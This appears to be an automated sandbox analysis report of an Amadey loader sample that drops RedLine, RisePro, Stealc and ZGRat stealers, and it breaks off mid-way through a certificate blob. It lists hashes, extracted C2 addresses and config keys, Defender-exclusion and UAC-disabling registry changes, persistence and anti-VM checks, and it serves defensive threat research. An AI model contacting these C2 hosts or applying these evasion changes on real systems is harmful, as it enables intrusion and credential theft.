amadey | 13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34

Resubmissions

29/04/2024, 23:21

240429-3cea8sde28 10

29/04/2024, 23:13

240429-27xwdsdg6z 10

Analysis

max time kernel
141s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
29/04/2024, 23:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe
Size

1.8MB
MD5

db3816aa79f2b5b5a62e5ddbbabd4891
SHA1

f1321e405c4cf3e2c6a4a930b556e75a7bfe42a0
SHA256

13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34
SHA512

28bbf0e0c7e3766b12cc85e286bfac6967109710f525c6ecf4f4c7260f9064242c86bb3274b5a989e86204db00237b2cd68dcf722753708b043b592f990c8f27
SSDEEP

49152:f3/bnWx9ODmxRyrstBktHTPcFKS4ErI8dz:fjnWx4D2OqBUHTcASTdz

Score

10^/10

amadey redline risepro stealc zgrat @cloudytteam test1234 discovery evasion infostealer persistence rat spyware stealer themida trojan vmprotect

Malware Config

Extracted

Family

amadey

Version

4.20

http://193.233.132.139

Attributes

install_dir
5454e6f062
install_file
explorta.exe
strings_key
c7a869c5ba1d72480093ec207994e2bf
url_paths
/sev56rkm/index.php

rc4.plain

Extracted

Family

amadey

Version

4.17

http://193.233.132.167

Attributes

install_dir
4d0ab15804
install_file
chrosha.exe
strings_key
1a9519d7b465e1f4880fa09a6162d768
url_paths
/enigma/index.php

rc4.plain

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

185.172.128.33:8970

Extracted

Family

redline

Botnet

Test1234

185.215.113.67:26260

Extracted

Family

stealc

http://52.143.157.84

Attributes

url_path
/c73eed764cc59dcb.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect ZGRat V1 3 IoCs

resource	yara_rule
behavioral2/memory/4888-239-0x0000000000400000-0x0000000000592000-memory.dmp	family_zgrat_v1
behavioral2/files/0x000200000002aa3e-257.dat	family_zgrat_v1
behavioral2/memory/4632-265-0x00000000005A0000-0x0000000000660000-memory.dmp	family_zgrat_v1

Modifies firewall policy service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	xqAbFXB7SN2xML0e4qBLtAQO.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 6 IoCs

resource	yara_rule
behavioral2/files/0x000400000002aa3d-246.dat	family_redline
behavioral2/memory/4276-261-0x0000000000B30000-0x0000000000B82000-memory.dmp	family_redline
behavioral2/files/0x000200000002aa3e-257.dat	family_redline
behavioral2/memory/4632-265-0x00000000005A0000-0x0000000000660000-memory.dmp	family_redline
behavioral2/files/0x000200000002aa4a-329.dat	family_redline
behavioral2/memory/4124-344-0x0000000000740000-0x0000000000792000-memory.dmp	family_redline

RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
Stealc
Stealc is an infostealer written in C++.
stealer stealc

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Windows security bypass 2 TTPs 3 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	xqAbFXB7SN2xML0e4qBLtAQO.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000238001\file300un.exe = "0"	file300un.exe

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	chrosha.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorta.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	xqAbFXB7SN2xML0e4qBLtAQO.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorta.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorta.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	amert.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	c186c6bab0.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
74	2112	rundll32.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 17 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	amert.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	chrosha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorta.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	c186c6bab0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	c186c6bab0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	chrosha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorta.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	xqAbFXB7SN2xML0e4qBLtAQO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorta.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorta.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorta.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorta.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	amert.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	xqAbFXB7SN2xML0e4qBLtAQO.exe

Executes dropped EXE 37 IoCs

pid	Process
5036	explorta.exe
4672	amert.exe
4532	4bbe4479d5.exe
3876	c186c6bab0.exe
4756	chrosha.exe
4784	explorta.exe
3448	swiiiii.exe
1608	alexxxxxxxx.exe
4632	trf.exe
4276	keks.exe
4648	gold.exe
2696	NewB.exe
4124	jok.exe
5072	swiiii.exe
5252	file300un.exe
1512	jfesawdr.exe
5760	qbGCCmylmrvy74m8zwjmvzSd.exe
2220	work.exe
3084	podaw.exe
4548	eanww91jhKxPtwHIqXkWhefE.exe
5796	TblXPC6VIUOLjz4wBiio0Akv.exe
5756	xqAbFXB7SN2xML0e4qBLtAQO.exe
5900	ciXxh3tOmcDJOOlsnGAePy0Q.exe
5988	ciXxh3tOmcDJOOlsnGAePy0Q.exe
5600	ciXxh3tOmcDJOOlsnGAePy0Q.exe
6112	ciXxh3tOmcDJOOlsnGAePy0Q.exe
3808	ciXxh3tOmcDJOOlsnGAePy0Q.exe
3024	Assistant_109.0.5097.45_Setup.exe_sfx.exe
5468	assistant_installer.exe
5380	assistant_installer.exe
1728	0eb6BqvTn5lY3yj9hCvFGnJj.exe
5636	Install.exe
5704	Install.exe
5820	NewB.exe
4952	explorta.exe
5772	YOGdvRB.exe
6008	u4g0.0.exe

Identifies Wine through registry keys 2 TTPs 7 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	explorta.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	amert.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	c186c6bab0.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	chrosha.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	explorta.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	explorta.exe

Loads dropped DLL 12 IoCs

pid	Process
5572	rundll32.exe
5592	rundll32.exe
5900	ciXxh3tOmcDJOOlsnGAePy0Q.exe
5988	ciXxh3tOmcDJOOlsnGAePy0Q.exe
5600	ciXxh3tOmcDJOOlsnGAePy0Q.exe
6112	ciXxh3tOmcDJOOlsnGAePy0Q.exe
3808	ciXxh3tOmcDJOOlsnGAePy0Q.exe
5468	assistant_installer.exe
5468	assistant_installer.exe
5380	assistant_installer.exe
5380	assistant_installer.exe
2112	rundll32.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000100000002aa73-637.dat	themida
behavioral2/memory/5756-640-0x0000000140000000-0x0000000140786000-memory.dmp	themida
behavioral2/memory/5756-696-0x0000000140000000-0x0000000140786000-memory.dmp	themida

VMProtect packed file 2 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x000200000002aa6a-602.dat	vmprotect
behavioral2/memory/3084-622-0x00000000002A0000-0x0000000000B91000-memory.dmp	vmprotect

Windows security modification 2 TTPs 4 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000238001\file300un.exe = "0"	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	xqAbFXB7SN2xML0e4qBLtAQO.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Microsoft\Windows\CurrentVersion\Run\4bbe4479d5.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000016001\\4bbe4479d5.exe"	explorta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Microsoft\Windows\CurrentVersion\Run\c186c6bab0.exe = "C:\\Users\\Admin\\1000017002\\c186c6bab0.exe"	explorta.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	xqAbFXB7SN2xML0e4qBLtAQO.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	ciXxh3tOmcDJOOlsnGAePy0Q.exe
File opened (read-only)	\??\D:	ciXxh3tOmcDJOOlsnGAePy0Q.exe
File opened (read-only)	\??\F:	ciXxh3tOmcDJOOlsnGAePy0Q.exe
File opened (read-only)	\??\D:	ciXxh3tOmcDJOOlsnGAePy0Q.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
55	api.myip.com

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000100000002aa18-53.dat	autoit_exe

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	xqAbFXB7SN2xML0e4qBLtAQO.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy	xqAbFXB7SN2xML0e4qBLtAQO.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	xqAbFXB7SN2xML0e4qBLtAQO.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	xqAbFXB7SN2xML0e4qBLtAQO.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
3448	13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe
5036	explorta.exe
4672	amert.exe
3876	c186c6bab0.exe
4756	chrosha.exe
4784	explorta.exe
5756	xqAbFXB7SN2xML0e4qBLtAQO.exe
4952	explorta.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 3448 set thread context of 4124	3448	swiiiii.exe	125
PID 1608 set thread context of 4888	1608	alexxxxxxxx.exe	111
PID 4648 set thread context of 988	4648	gold.exe	119
PID 5072 set thread context of 2588	5072	swiiii.exe	128
PID 5252 set thread context of 5224	5252	file300un.exe	139

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\zgoZGMcaU\ShHBFg.dll	YOGdvRB.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	YOGdvRB.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	YOGdvRB.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\explorta.job	13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe
File created	C:\Windows\Tasks\chrosha.job	amert.exe
File created	C:\Windows\Tasks\biPxHmULFllsbMgnpt.job	schtasks.exe
File created	C:\Windows\Tasks\yfARWRprRqUFWeTGf.job	schtasks.exe
File created	C:\Windows\Tasks\JHJXtPPPvDXVqpH.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
2964	3448	WerFault.exe	103
1380	1608	WerFault.exe	109
4532	4648	WerFault.exe	118
1080	5760	WerFault.exe	145

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
584	schtasks.exe
5332	schtasks.exe
6052	schtasks.exe
1332	schtasks.exe
2220	schtasks.exe
5956	schtasks.exe
3836	schtasks.exe
2464	schtasks.exe
1240	schtasks.exe
5284	schtasks.exe
3132	schtasks.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	YOGdvRB.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{fa44e6e0-0000-0000-0000-d01200000000}	YOGdvRB.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	Install.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{fa44e6e0-0000-0000-0000-d01200000000}\MaxCapacity = "14116"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1230210488-3096403634-4129516247-1000\{87104946-82EE-438A-B642-075583357535}	chrome.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4	ciXxh3tOmcDJOOlsnGAePy0Q.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 04000000010000001000000078f2fcaa601f2fb4ebc937ba532e75490f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e4190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec